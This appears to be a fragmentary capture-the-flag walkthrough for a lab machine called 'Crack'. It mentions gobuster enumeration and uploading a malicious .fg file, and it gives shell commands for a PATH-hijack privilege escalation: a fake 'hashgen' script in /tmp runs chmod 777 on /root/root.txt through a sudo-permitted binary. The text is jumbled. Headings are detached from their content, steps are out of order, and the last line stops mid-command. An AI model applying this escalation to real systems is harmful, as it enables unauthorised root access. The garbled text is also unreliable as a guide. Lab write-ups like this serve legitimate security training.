Crack | [portable]erfg
echo '#!/bin/bash' > /tmp/hashgen echo 'chmod 777 /root/root.txt' >> /tmp/hashgen chmod +x /tmp/hashgen export PATH=/tmp:$PATH sudo /usr/bin/crackerfg Now /root/root.txt is readable.
Stable shell:
Dashboard reveals a file upload feature for "FG (Fingerprint Generator)" scripts ( .fg files). Upload restrictions: only txt and fg . Upload a malicious .fg file: crackerfg
Use gobuster :
sudo -l User www-data can run /usr/bin/crackerfg as root without password. echo '#